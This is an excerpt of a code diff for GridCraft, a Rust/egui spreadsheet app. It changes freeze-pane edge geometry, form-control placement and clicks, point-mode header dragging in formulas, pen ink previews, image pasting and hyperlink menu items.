if part.is_positive() {
q.painter.rect_filled(part, 0.0, q.tokens.active_row);
}
}
+2 -2
View File
@@ -194,7 +194,7 @@ pub(super) fn merged_edges(wb: &Workbook, si: usize, sh: &Sheet, geo: &Geo, area
if sh.col_width(col) == 0.0 {
continue;
}
let (x0, x1) = (geo.x(sh, col), geo.x(sh, col.saturating_add(1)));
let (x0, x1) = (geo.x(sh, col), geo.x_end(sh, col));
let top = look(wb, si, sh, CellRef::new(m.start.row, col), cf).0.style.borders.top;
let bottom = look(wb, si, sh, CellRef::new(m.end.row, col), cf).0.style.borders.bottom;
out.push((top, [pos2(x0, rect.top()), pos2(x1, rect.top())]));
@@ -205,7 +205,7 @@ pub(super) fn merged_edges(wb: &Workbook, si: usize, sh: &Sheet, geo: &Geo, area
if sh.row_height(row) == 0.0 {
continue;
}
let (y0, y1) = (geo.y(sh, row), geo.y(sh, row.saturating_add(1)));
let (y0, y1) = (geo.y(sh, row), geo.y_end(sh, row));
let left = look(wb, si, sh, CellRef::new(row, m.start.col), cf).0.style.borders.left;
let right = look(wb, si, sh, CellRef::new(row, m.end.col), cf).0.style.borders.right;
out.push((left, [pos2(rect.left(), y0), pos2(rect.left(), y1)]));
+13 -4
View File
@@ -1,3 +1,5 @@
use gridcraft_engine::model::ObjKind;
use super::geo::Geo;
use super::interact::{col_edge, freeze_handles, hidden_col_edge, hidden_row_edge, on_border, row_edge};
use super::{CellRef, Color32, CursorIcon, Drag, Pos2, RangeRef, Rect, Sheet, SheetApp, Stroke, pos2, vec2};
@@ -21,8 +23,9 @@ pub(super) fn update_cursor(app: &mut SheetApp, ui: &egui::Ui, resp: &egui::Resp
{
app.grid.hover_cell = in_cells.then(|| geo.cell_at(sh, p));
}
// Draw tools own the cursor over cells, including while recording a stroke.
if !app.session.draw_tool.is_empty() && in_cells {
// Draw tools and Insert › Controls placement own the cursor over cells, including while
// recording a stroke or drawing the control.
if (!app.session.draw_tool.is_empty() || app.grid.placing.is_some()) && in_cells {
ctx.set_cursor_icon(CursorIcon::Crosshair);
return;
}
@@ -48,7 +51,7 @@ fn drag_cursor(drag: &Drag, rtl: bool) -> Option<CursorIcon> {
match drag {
Drag::None => None,
Drag::Select => Some(CursorIcon::Cell),
Drag::Rows(_) | Drag::Cols(_) => Some(CursorIcon::Default),
Drag::Rows(_) | Drag::Cols(_) | Drag::PointRows(_) | Drag::PointCols(_) => Some(CursorIcon::Default),
Drag::Fill { .. } => Some(CursorIcon::Crosshair),
Drag::Move { .. } | Drag::MoveCols { .. } | Drag::Object { handle: None, .. } => Some(CursorIcon::Move),
Drag::ResizeCol { .. } => Some(CursorIcon::ResizeColumn),
@@ -79,9 +82,15 @@ fn hover_cursor(app: &SheetApp, ctx: &egui::Context, resp: &egui::Response, poin
// The selected object's handles resize it; any object's body moves it.
let idle = app.grid.drag == Drag::None && app.editor.is_none();
let object_handle = if idle { crate::chartview::selected_handle(app, geo, sh, p).map(|(.., h)| h) } else { None };
let on_object = idle && crate::chartview::hit(app, geo, sh, p).is_some();
let hit = if idle { crate::chartview::hit(app, geo, sh, p) } else { None };
// A form control works on click unless it is selected (or Ctrl or Cmd is held).
let mods = ctx.input(|i| i.modifiers);
let works = hit.is_some_and(|(o, _)| o.kind == ObjKind::Control && app.selected_object != Some(o) && !mods.command && !mods.ctrl);
let on_object = hit.is_some();
if let Some(h) = object_handle {
ctx.set_cursor_icon(h.cursor(geo.rtl));
} else if works {
ctx.set_cursor_icon(CursorIcon::PointingHand);
} else if on_object {
ctx.set_cursor_icon(CursorIcon::Move);
} else if near_col_edge || (in_row_header && row_edge(geo, sh, p.y).is_some()) {
+14 -4
View File
@@ -158,11 +158,21 @@ impl Geo {
self.cells.top() + self.frozen_h + (self.ri.start(row) as f32 - self.ri.start(self.fr) as f32 - self.scroll.y) * self.z
}
}
/// Screen x of `col`'s right edge. Not `x(col + 1)`: across the freeze line (and between
/// pages) the next column is laid out elsewhere (#2544).
pub fn x_end(&self, sh: &Sheet, col: u32) -> f32 {
self.x(sh, col) + sh.col_width(col) * self.z
}
/// Screen y of `row`'s bottom edge (see `x_end`).
pub fn y_end(&self, sh: &Sheet, row: u32) -> f32 {
self.y(sh, row) + sh.row_height(row) * self.z
}
/// Columns `a` and `b` are on the same side of the freeze line, so they scroll together.
pub fn same_col_pane(&self, a: u32, b: u32) -> bool {
(a < self.fc) == (b < self.fc)
}
pub fn cell_rect(&self, sh: &Sheet, c: CellRef) -> Rect {
Rect::from_min_max(
pos2(self.x(sh, c.col), self.y(sh, c.row)),
pos2(self.x(sh, c.col) + sh.col_width(c.col) * self.z, self.y(sh, c.row) + sh.row_height(c.row) * self.z),
)
Rect::from_min_max(pos2(self.x(sh, c.col), self.y(sh, c.row)), pos2(self.x_end(sh, c.col), self.y_end(sh, c.row)))
}
pub fn range_rect(&self, sh: &Sheet, r: RangeRef) -> Rect {
let a = self.cell_rect(sh, r.start);
+134 -20
View File
@@ -64,6 +64,15 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
let in_col_header = pos.is_some_and(|p| p.y < geo.cells.top() && p.y >= geo.head_top() && p.x >= geo.cells.left());
let in_row_header = pos.is_some_and(|p| p.x < geo.cells.left() && p.x >= geo.head_left() && p.y >= geo.cells.top());
let in_corner = pos.is_some_and(|p| p.x < geo.cells.left() && p.y < geo.cells.top() && p.x >= geo.head_left() && p.y >= geo.head_top());
// Insert › Controls places a control; a click works a form control (Ctrl or Cmd+click, or a
// right-click, selects it instead).
if app.editor.is_none() && crate::control_ui::place(app, ui, resp, geo, sh) {
return;
}
if app.editor.is_none() && app.session.draw_tool.is_empty() && crate::form_controls::interact(app, &ctx, resp, geo, sh) {
keyboard(app, &ctx, resp, geo, sh);
return;
}
let sel = app.session.active().map(|d| d.selection.clone()).unwrap_or_default();
let cur_rect = geo.range_rect(sh, sel.current());
let handle = Rect::from_center_size(cur_rect.right_bottom(), vec2(9.0, 9.0));
@@ -100,10 +109,14 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
return;
}
// A plain click on a slicer value tile toggles it (Ctrl/Cmd for multi-select); the clear
// button resets it. Runs before the generic object select/drag so tiles stay clickable.
// button resets it. Runs before the generic object select/drag so tiles stay clickable, but
// only when the slicer is what the press lands on: a form control over a tile (Ctrl or
// Cmd+clicked, or clicked while selected, so `form_controls::interact` left the click) and a
// selected object's handle keep the generic path, which selects, moves or resizes them.
if primary_clicked
&& !resp.drag_started()
&& let Some(p) = pos
&& object_under(app, geo, sh, p).is_some_and(|(o, _, handle)| o.kind == ObjKind::Slicer && handle.is_none())
&& let Some((id, act)) = crate::chartview::slicer_click(geo, sh, wb, wb.active_sheet(), p)
{
app.selected_object = Some(ObjRef::new(ObjKind::Slicer, id));
@@ -126,10 +139,10 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
// The selected object's handles reach a little outside it, so they win over hit-testing.
// Only they resize: a press anywhere on another object selects and moves it, as the
// hover cursor shows.
let on_handle = at.and_then(|p| crate::chartview::selected_handle(app, geo, sh, p));
let handle = on_handle.map(|(.., h)| h);
let under = at.and_then(|p| object_under(app, geo, sh, p));
let handle = under.and_then(|(.., h)| h);
if let Some(p) = at
&& let Some((obj, _)) = on_handle.map(|(o, r, _)| (o, r)).or_else(|| crate::chartview::hit(app, geo, sh, p))
&& let Some((obj, _, _)) = under
{
app.selected_object = Some(obj);
if resp.double_clicked() && app.open_object(obj) != crate::objects::OpenAction::Select {
@@ -146,14 +159,18 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
}
app.selected_object = None;
}
// A right-click on a chart, picture, shape or slicer opens the object's menu, not the cell's
// under it; a right press that wobbles into a drag counts too (#2067).
// A right-click on a chart, picture, shape, slicer or form control opens the object's menu, not
// the cell's under it; a right press that wobbles into a drag counts too (#2067). On a form
// control it selects the control without running it.
let secondary_drag = resp.drag_started_by(egui::PointerButton::Secondary);
if (resp.secondary_clicked() || secondary_drag)
&& let Some(p) = if secondary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos }
&& let Some((obj, _)) = crate::chartview::hit(app, geo, sh, p)
{
app.selected_object = Some(obj);
if obj.kind == ObjKind::Control {
app.grid.focused_control = None;
}
app.grid.object_menu = Some((geo.mirror_pos(p), obj.kind.name(), obj.id));
return;
}
@@ -225,10 +242,10 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool {
))
})
.collect();
input
.ui
.painter()
.add(egui::epaint::PathShape::line(pts, egui::epaint::PathStroke::new(2.0 * geo.z, Color32::from_rgb(0x1F, 0x5F, 0xC9))));
// The line under the pointer is the ink the stroke will commit (#1786).
let theme = app.session.active().map(|d| d.wb.theme.clone()).unwrap_or_default();
let (color, width) = pen_ink(&app.session.draw_color, app.session.draw_width, &theme);
input.ui.painter().add(egui::epaint::PathShape::line(pts, egui::epaint::PathStroke::new(width * geo.z, color)));
}
if resp.drag_stopped() && app.grid.ink.len() >= 2 {
let pts: Vec<[f32; 2]> = std::mem::take(&mut app.grid.ink);
@@ -249,6 +266,17 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool {
false
}
/// The colour and width (points) of the ink a pen stroke commits, as `draw.stroke` stores it (the
/// pen's colour, pen blue by default; its width, 2 pt by default, kept to 0.5–40 pt and stored
/// whole) and as Ink shapes paint it (a highlighter, over 8 pt, is translucent).
pub(crate) fn pen_ink(color: &str, width: f32, theme: &gridcraft_engine::model::Theme) -> (Color32, f32) {
let pen_blue = gridcraft_engine::model::Color::rgb(0x1F, 0x5F, 0xC9);
let line = gridcraft_engine::model::Color::from_hex(color).unwrap_or(pen_blue);
let width = if width <= 0.0 { 2.0 } else { width }.clamp(0.5, 40.0).round().max(1.0);
let color = line.resolve(theme).map(crate::theme::color32).unwrap_or(Color32::from_rgb(0x1F, 0x5F, 0xC9));
(crate::chartview::ink_color(color, width), width)
}
fn handle_header_autofit(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool {
let (geo, sh, sel, pos) = (input.geo, input.sheet, &input.selection, input.position);
let (in_col_header, in_row_header) = (input.in_column_header, input.in_row_header);
@@ -307,6 +335,7 @@ fn handle_column_header_press(app: &mut SheetApp, input: &InteractionInput<'_>,
return;
}
if point_header(app, wb, sh, RangeRef::cols(c, c), mods.shift, mods.command) {
point_header_first_move(app, input);
return;
}
// An armed Format Painter paints the columns dragged over instead of moving them.
@@ -337,6 +366,7 @@ fn handle_row_header_press(app: &mut SheetApp, input: &InteractionInput<'_>, p:
}
let r = geo.row_at(sh, p.y);
if point_header(app, wb, sh, RangeRef::rows(r, r), mods.shift, mods.command) {
point_header_first_move(app, input);
return;
}
let range = if mods.shift { RangeRef::rows(sel.anchor.row.min(r), sel.anchor.row.max(r)) } else { RangeRef::rows(r, r) };
@@ -531,6 +561,15 @@ fn handle_cell_double_click(app: &mut SheetApp, input: &InteractionInput<'_>, c:
false
}
/// What a press at `p` lands on, for slicer tiles and the generic object handling alike, so the
/// z-order decides once: the selected object's handle (handles reach a little past the frame and
/// win over hit-testing), else the topmost object under `p` and its rect.
fn object_under(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect, Option<crate::objects::Handle>)> {
crate::chartview::selected_handle(app, geo, sh, p)
.map(|(o, r, h)| (o, r, Some(h)))
.or_else(|| crate::chartview::hit(app, geo, sh, p).map(|(o, r)| (o, r, None)))
}
fn handle_context_menu_and_keyboard(app: &mut SheetApp, input: &InteractionInput<'_>) {
let (geo, sh, sel, pos) = (input.geo, input.sheet, &input.selection, input.position);
let resp = input.response;
@@ -612,6 +651,10 @@ fn handle_dragging(app: &mut SheetApp, input: &InteractionInput<'_>) {
app.session.run("selection.set", json!({"range": RangeRef::cols(anchor.min(c), anchor.max(c)).a1(), "active": sel.active.a1()}));
scroll_by(app, vec2(auto.x, 0.0));
}
drag @ (Drag::PointRows(_) | Drag::PointCols(_)) => {
point_header_to(app, geo, sh, wb, &drag, p);
scroll_by(app, if matches!(drag, Drag::PointRows(_)) { vec2(0.0, auto.y) } else { vec2(auto.x, 0.0) });
}
Drag::MoveCols { source, .. } => {
let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0));
let midpoint = geo.x(sh, col) + sh.col_width(col) * geo.z * 0.5;
@@ -688,6 +731,14 @@ fn handle_release(app: &mut SheetApp, input: &InteractionInput<'_>) {
}
// Whole rows or columns clicked or dragged over by their headers.
Drag::Rows(_) | Drag::Cols(_) => format_painter_apply(app),
// The release may be the first frame to report the pointer's last position.
drag @ (Drag::PointRows(_) | Drag::PointCols(_)) => {
if resp.drag_stopped()
&& let Some(p) = pos
{
point_header_to(app, geo, sh, wb, &drag, p);
}
}
// Esc mid-drag lands here too (egui ends the drag on Esc): no menu, and the key is
// spent on the drag so the grid's Esc doesn't also drop the copy.
Drag::Fill { target: Some(t), menu: true } => {
@@ -719,9 +770,9 @@ fn handle_release(app: &mut SheetApp, input: &InteractionInput<'_>) {
}
Drag::Move { to: Some(to), .. } => {
let src = sel.current();
// Dropping on cells that hold data asks first, as in Excel.
if to != src.start {
let _ = app.session.run("edit.cut", json!({"range": src.a1()}));
let _ = app.run("edit.paste", json!({"at": to.a1()}));
crate::macro_ui::call(app, "GridCraft", "range.move", json!({"range": src.a1(), "to": to.a1()}));
}
}
Drag::MoveCols { source, before: Some(before) } => {
@@ -751,11 +802,13 @@ fn format_painter_apply(app: &mut SheetApp) {
}
}
/// Point mode on a header: inserts a whole-row or whole-column reference instead of selecting.
/// Point mode on a header: inserts a whole-row or whole-column reference instead of selecting,
/// and dragging on from there extends it.
fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, extend: bool, add: bool) -> bool {
let Some(ed) = app.editor.as_mut().filter(|ed| ed.can_point()) else { return false };
let edit_sheet = ed.sheet;
let active_sheet = wb.active_sheet();
let pressed = range;
let range = if extend {
ed.point
.and_then(|point| crate::editor::formula_refs(&ed.text).into_iter().find(|(start, end, ..)| (*start, *end) == point))
@@ -776,9 +829,7 @@ fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef,
} else {
range
};
let reference = range.a1();
let reference =
if ed.sheet != wb.active_sheet() { format!("{}!{reference}", gridcraft_engine::formula::quote_sheet(&sh.name)) } else { reference };
let reference = header_reference(ed, wb, sh, range);
if add {
ed.append_ref(&reference);
} else {
@@ -787,9 +838,53 @@ fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef,
ed.point_anchor = None;
ed.point_cell = Some(range.start);
ed.request_focus = true;
// The drag keeps the end of the reference the press didn't land on.
app.grid.drag = if range.is_full_cols() {
Drag::PointCols(if range.start.col == pressed.start.col { range.end.col } else { range.start.col })
} else {
Drag::PointRows(if range.start.row == pressed.start.row { range.end.row } else { range.start.row })
};
true
}
fn header_reference(ed: &EditState, wb: &Workbook, sh: &Sheet, range: RangeRef) -> String {
let reference = range.a1();
if ed.sheet != wb.active_sheet() { format!("{}!{reference}", gridcraft_engine::formula::quote_sheet(&sh.name)) } else { reference }
}
/// The frame that starts a drag reports no `dragged()`, so its movement is applied here.
fn point_header_first_move(app: &mut SheetApp, input: &InteractionInput<'_>) {
if input.response.drag_started()
&& let Some(p) = input.position
{
let drag = app.grid.drag.clone();
point_header_to(app, input.geo, input.sheet, input.workbook, &drag, p);
}
}
/// Point mode dragged over the headers: the pointed reference runs from the anchor to the pointer.
fn point_header_to(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, drag: &Drag, p: Pos2) {
// The pointer's end moves with Shift+arrow next; the opposite corner keeps it a whole column or row.
let (range, pointer, opposite) = match *drag {
Drag::PointCols(anchor) => {
let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0));
let range = RangeRef::cols(anchor.min(col), anchor.max(col));
(range, CellRef::new(range.start.row, col), CellRef::new(range.end.row, anchor))
}
Drag::PointRows(anchor) => {
let row = geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0));
let range = RangeRef::rows(anchor.min(row), anchor.max(row));
(range, CellRef::new(row, range.start.col), CellRef::new(anchor, range.end.col))
}
_ => return,
};
let Some(ed) = app.editor.as_mut().filter(|ed| ed.point_at_caret()) else { return };
let reference = header_reference(ed, wb, sh, range);
ed.insert_ref(&reference);
ed.point_cell = Some(pointer);
ed.point_anchor = Some((wb.active_sheet(), opposite));
}
fn select_to_pointer(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, p: Pos2) {
let cell = CellRef::new(
geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)),
@@ -891,7 +986,7 @@ fn freeze_boundary(geo: &Geo, sh: &Sheet, p: Pos2, cols: bool) -> u32 {
return 0;
}
let c = geo.col_at(sh, p.x);
let (l, r) = (geo.x(sh, c), geo.x(sh, c.saturating_add(1).min(MAX_COLS - 1)));
let (l, r) = (geo.x(sh, c), geo.x_end(sh, c));
let b = if p.x - l > r - p.x { c.saturating_add(1) } else { c };
let room = geo.ci.at((((geo.cells.width() - 40.0) / geo.z).max(0.0)) as f64);
b.min(room).min(MAX_COLS - 1)
@@ -900,7 +995,7 @@ fn freeze_boundary(geo: &Geo, sh: &Sheet, p: Pos2, cols: bool) -> u32 {
return 0;
}
let rr = geo.row_at(sh, p.y);
let (t, b2) = (geo.y(sh, rr), geo.y(sh, rr.saturating_add(1).min(MAX_ROWS - 1)));
let (t, b2) = (geo.y(sh, rr), geo.y_end(sh, rr));
let b = if p.y - t > b2 - p.y { rr.saturating_add(1) } else { rr };
let room = geo.ri.at((((geo.cells.height() - 40.0) / geo.z).max(0.0)) as f64);
b.min(room).min(MAX_ROWS - 1)
@@ -1000,8 +1095,9 @@ fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) {
}
/// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's
/// OK runs `link.open`); every other kind is refused with a message. The decision is the
/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic
/// callers, #2181); every other kind is refused with a message. The decision is the engine's
/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
pub fn follow_link(app: &mut SheetApp, target: &str) {
use gridcraft_engine::links::{LinkKind, classify};
match classify(target) {
@@ -1038,9 +1134,27 @@ pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, exte
to
};
let text = if extend { RangeRef::new(anchor, to).a1() } else { to.a1() };
let text = if ed.sheet != d.wb.active_sheet() { format!("{}!{text}", gridcraft_engine::formula::quote_sheet(&sheet.name)) } else { text };
let sheet = d.wb.active_sheet();
ed.insert_ref(&text);
ed.point_cell = Some(to);
ed.point_anchor = Some((sheet, anchor));
app.grid.ensure_visible = true;
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn the_pen_preview_is_the_ink_the_stroke_commits() {
// #1786: the preview was always blue at 2 pt, whatever the pen.
let theme = gridcraft_engine::model::Theme::default();
assert_eq!(pen_ink("#C00000", 3.0, &theme), (Color32::from_rgb(0xC0, 0, 0), 3.0));
assert_eq!(pen_ink("", 0.0, &theme), (Color32::from_rgb(0x1F, 0x5F, 0xC9), 2.0), "no pen chosen yet: pen blue, 2 pt");
assert_eq!(pen_ink("not a colour", 0.2, &theme), (Color32::from_rgb(0x1F, 0x5F, 0xC9), 1.0));
// A highlighter is wide and translucent, as the committed ink is painted.
let (c, w) = pen_ink("#FFFF00", 12.0, &theme);
assert_eq!((c, w), (Color32::from_rgb(0xFF, 0xFF, 0).gamma_multiply(0.45), 12.0));
}
}
+36 -6
View File
@@ -32,7 +32,7 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res
ctx.memory_mut(|m| {
m.set_focus_lock_filter(resp.id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true })
});
let events = ctx.input(|i| i.events.clone());
let events = grid_events(app, ctx, sh);
// A shortcut key that also types a character (Shift+Space sends Text(" ")) must not start an edit.
let shortcut_pressed = events.iter().any(|e| {
matches!(e, egui::Event::Key { pressed: true, modifiers: m, key, .. }
@@ -51,11 +51,9 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res
app.copy_to_clipboard(ctx, "edit.cut");
}
egui::Event::Paste(text) => app.paste_external(text),
// GridCraft has no image-clipboard pipeline and no cell-picture insert-from-clipboard
// command. Choosing to ignore `PasteImage` is explicit: inserting the bytes as a
// floating picture without a chosen anchor/size would be a new feature, not parity.
// A text representation, when the clipboard has one, still arrives as `Paste` above.
egui::Event::PasteImage(_) => {}
// A picture with no text on the clipboard (a screenshot, a browser image) is pasted as
// a floating picture at the active cell, as Excel does.
egui::Event::PasteImage(image) => app.paste_color_image(&image),
// PRIMARY middle-click paste belongs to egui's TextEdit; the grid has no caret to
// insert text at, so a middle click on a cell is deliberately not a paste.
egui::Event::MiddleClickPaste { .. } => {}
@@ -157,3 +155,35 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res
}
}
}
/// This frame's input events, without those the focused form control took.
fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec<egui::Event> {
let events = ctx.input(|i| i.events.clone());
events.into_iter().filter(|ev| !form_control_event(app, sh, ev)).collect()
}
/// Whether the focused form control takes `ev`: arrows, Page Up and Down, Home, End, Space and
/// Enter without Ctrl, Cmd or Alt, and the space a Space press types when it must not start a
/// cell edit: for a button, which Space presses, and on a checkbox cell, which the Space key
/// toggles (a slider or spin button doesn't take Space, so Space on a cell does what it does with
/// no control focused: it toggles a checkbox cell, or its space starts a cell edit like any other
/// character). A key press the control doesn't take goes to the grid, and a focused button gives
/// the keyboard back with it.
fn form_control_event(app: &mut SheetApp, sh: &Sheet, ev: &egui::Event) -> bool {
match ev {
egui::Event::Text(text) => {
text == " "
&& app.selected_object.is_none()
&& app.grid.focused_control.is_some()
&& (crate::form_controls::focused_button(app, sh) || is_checkbox(sh, app))
}
egui::Event::Key { key, pressed: true, repeat, modifiers: m, .. } => {
if !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) {
return true;
}
crate::form_controls::key_to_grid(app, sh);
false
}
_ => false,
}
}
+29 -2
View File
@@ -129,6 +129,9 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
egui::Frame::popup(ui.style()).show(ui, |ui| {
ui.set_min_width(200.0);
let insert_copied = insert_copied_item(app);
// On a cell with a link Excel offers to edit, open or remove it (#2120).
let link =
app.session.active().and_then(|d| d.wb.active().and_then(|sh| sh.hyperlinks.get(&d.selection.active)).map(|l| l.target.clone()));
let mut items: Vec<(&str, &str)> = vec![
("Cut", "edit.cut"),
("Copy", "edit.copy"),
@@ -154,6 +157,14 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
if let Some(item) = insert_copied {
items.insert(6, item);
}
if link.is_some()
&& let Some(i) = items.iter().position(|(_, id)| *id == "ui:insertLink")
{
items.splice(
i..=i,
[("Edit Hyperlink…", "ui:insertLink"), ("Open Hyperlink", "ui:openLink"), ("Remove Hyperlink", "edit.clearHyperlinks")],
);
}
if show_details_offered(app)
&& let Some(i) = items.iter().position(|(_, id)| *id == "data.sortDescending")
{
@@ -178,6 +189,11 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
"ui:newNote" => app.open_dialog("comment", json!({"threaded": false})),
"ui:defineName" => app.open_dialog("defineName", json!({})),
"ui:insertLink" => app.open_dialog("insertLink", json!({})),
"ui:openLink" => {
if let Some(target) = &link {
super::interact::follow_link(app, target);
}
}
"ui:pickList" => app.open_dialog("pickList", json!({})),
"ui:filterValue" => {
if let Some(d) = app.session.active() {
@@ -369,14 +385,22 @@ pub(super) fn fill_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool) {
}
}
/// The right-click menu of a chart, picture, shape or slicer.
/// The right-click menu of a chart, picture, shape, slicer or form control (Edit Text and Assign
/// Action for a button, and Format Control, before Delete).
pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
let Some((at, kind, id)) = app.grid.object_menu else { return };
let mut close = false;
let resp = egui::Area::new(egui::Id::unique("object_context")).fixed_pos(at).order(egui::Order::Foreground).show(ui.ctx(), |ui| {
egui::Frame::popup(ui.style()).show(ui, |ui| {
ui.set_min_width(200.0);
let mut items = vec![("Delete", "object.delete")];
let mut items = vec![];
if kind == "control" {
if crate::control_ui::is_button(app, id) {
items.extend([("Edit Text", "ui:editText"), ("Assign Action…", "ui:assignAction")]);
}
items.extend([("Format Control…", "ui:formatControl"), ("-", "")]);
}
items.push(("Delete", "object.delete"));
if kind == "chart" {
items.extend([("-", ""), ("Select Data…", "ui:selectData"), ("Format Chart Area…", "ui:formatChart")]);
}
@@ -391,6 +415,9 @@ pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
match action {
"ui:selectData" => app.open_dialog("selectData", json!({"chart": id})),
"ui:formatChart" => app.grid.pane = Some("formatChart".into()),
"ui:editText" => app.open_dialog("formatControl", json!({"id": id, "textOnly": true})),
"ui:assignAction" => app.open_dialog("assignAction", json!({"id": id})),
"ui:formatControl" => app.open_dialog("formatControl", json!({"id": id})),
_ => {
app.run_or_alert("object.delete", json!({"kind": kind, "id": id}));
app.selected_object = None;
+26 -18
View File
@@ -1,3 +1,4 @@
use super::active_row::paint_active_row;
use super::cell_paint::{
Look, MergedArea, cell_text_y, center_across_end, col32, display_text, look, merged_edges, paint_border, paint_cf_icon, painted_halign,
rotated_text_pos, shrink_font, wrapped_cell_text_y,
@@ -102,6 +103,8 @@ pub(crate) struct QuadrantPaint<'a> {
pub(crate) cols: (u32, u32),
pub(crate) cf: &'a mut CfCache,
pub(crate) tokens: &'a Tokens,
/// The row to tint, when "Highlight the active cell's row" is on.
pub(crate) active_row: Option<u32>,
}
/// Paint a worksheet quadrant, including backgrounds, borders, and text.
@@ -118,6 +121,8 @@ pub(crate) fn paint_quadrant(mut quadrant: QuadrantPaint<'_>) {
let cells = visible_cells(&quadrant);
let looks = paint_backgrounds(&mut quadrant, &cells, &merges);
let outside = outside_text_cells(&mut quadrant, &merges);
// Over the fills and under the text and borders.
paint_active_row(&quadrant, None);
paint_cells(&mut quadrant, &looks, &outside, &merges);
paint_borders(&mut quadrant, &looks, &merges);
paint_sparklines(&quadrant, range);
@@ -142,21 +147,17 @@ fn paint_gridlines(q: &QuadrantPaint<'_>) {
if sh.show_gridlines {
let stroke = Stroke::new(1.0, t.gridline);
let top = geo.y(sh, r0);
let bottom = geo.y(sh, r1 + 1);
let bottom = geo.y_end(sh, r1);
let left = geo.x(sh, c0);
let right = geo.x(sh, c1 + 1);
for c in c0..=c1 + 1 {
if c <= c1 && sh.col_width(c) == 0.0 {
continue;
}
let x = geo.x(sh, c).round() - 0.5;
let right = geo.x_end(sh, c1);
let xs = (c0..=c1).filter(|&c| sh.col_width(c) > 0.0).map(|c| geo.x(sh, c)).chain([right]);
for x in xs {
let x = x.round() - 0.5;
p.line_segment([pos2(x, top), pos2(x, bottom)], stroke);
}
for r in r0..=r1 + 1 {
if r <= r1 && sh.row_height(r) == 0.0 {
continue;
}
let y = geo.y(sh, r).round() - 0.5;
let ys = (r0..=r1).filter(|&r| sh.row_height(r) > 0.0).map(|r| geo.y(sh, r)).chain([bottom]);
for y in ys {
let y = y.round() - 0.5;
p.line_segment([pos2(left, y), pos2(right, y)], stroke);
}
}
@@ -224,7 +225,6 @@ fn outside_text_cells(q: &mut QuadrantPaint<'_>, merges: &[RangeRef]) -> Vec<(Ce
// Text cells just outside the quadrant whose text may overflow into it: the nearest non-empty
// cell left of `c0` and right of `c1` in each row (within the same frozen / scrolled pane).
let mut outside: Vec<(CellRef, Rect, Look, Option<CfLook>)> = Vec::new();
let same_pane = |col: u32| (col < geo.fc) == (c0 < geo.fc);
for r in r0..=r1 {
if sh.row_height(r) == 0.0 {
continue;
@@ -232,7 +232,7 @@ fn outside_text_cells(q: &mut QuadrantPaint<'_>, merges: &[RangeRef]) -> Vec<(Ce
let left = (c0.saturating_sub(20)..c0).rev().map(|col| CellRef::new(r, col)).find(|&n| !empty_ok(n));
let right = (c1.saturating_add(1)..=c1.saturating_add(20).min(MAX_COLS - 1)).map(|col| CellRef::new(r, col)).find(|&n| !empty_ok(n));
for n in [left, right].into_iter().flatten() {
if same_pane(n.col) && sh.col_width(n.col) > 0.0 && in_merge(n).is_none() {
if geo.same_col_pane(n.col, c0) && sh.col_width(n.col) > 0.0 && in_merge(n).is_none() {
let (lk, cfl) = look(wb, si, sh, n, cf);
outside.push((n, geo.cell_rect(sh, n), lk, cfl));
}
@@ -278,6 +278,9 @@ fn paint_cell_decorations(q: &QuadrantPaint<'_>, c: CellRef, rect: Rect, lk: &Lo
false
}
/// Most repeats of a fill character laid out in one cell.
const MAX_FILL_REPEATS: usize = 8192;
fn paint_data_bar(p: &egui::Painter, rect: Rect, frac: f32, rgb: [u8; 3], gradient: bool) {
let bar = Rect::from_min_size(pos2(rect.left() + 2.0, rect.top() + 2.0), vec2((rect.width() - 4.0) * frac, rect.height() - 4.0));
let col = theme::color32(rgb);
@@ -333,7 +336,9 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option<CfLo
let z = geo.z;
let (c0, c1) = q.cols;
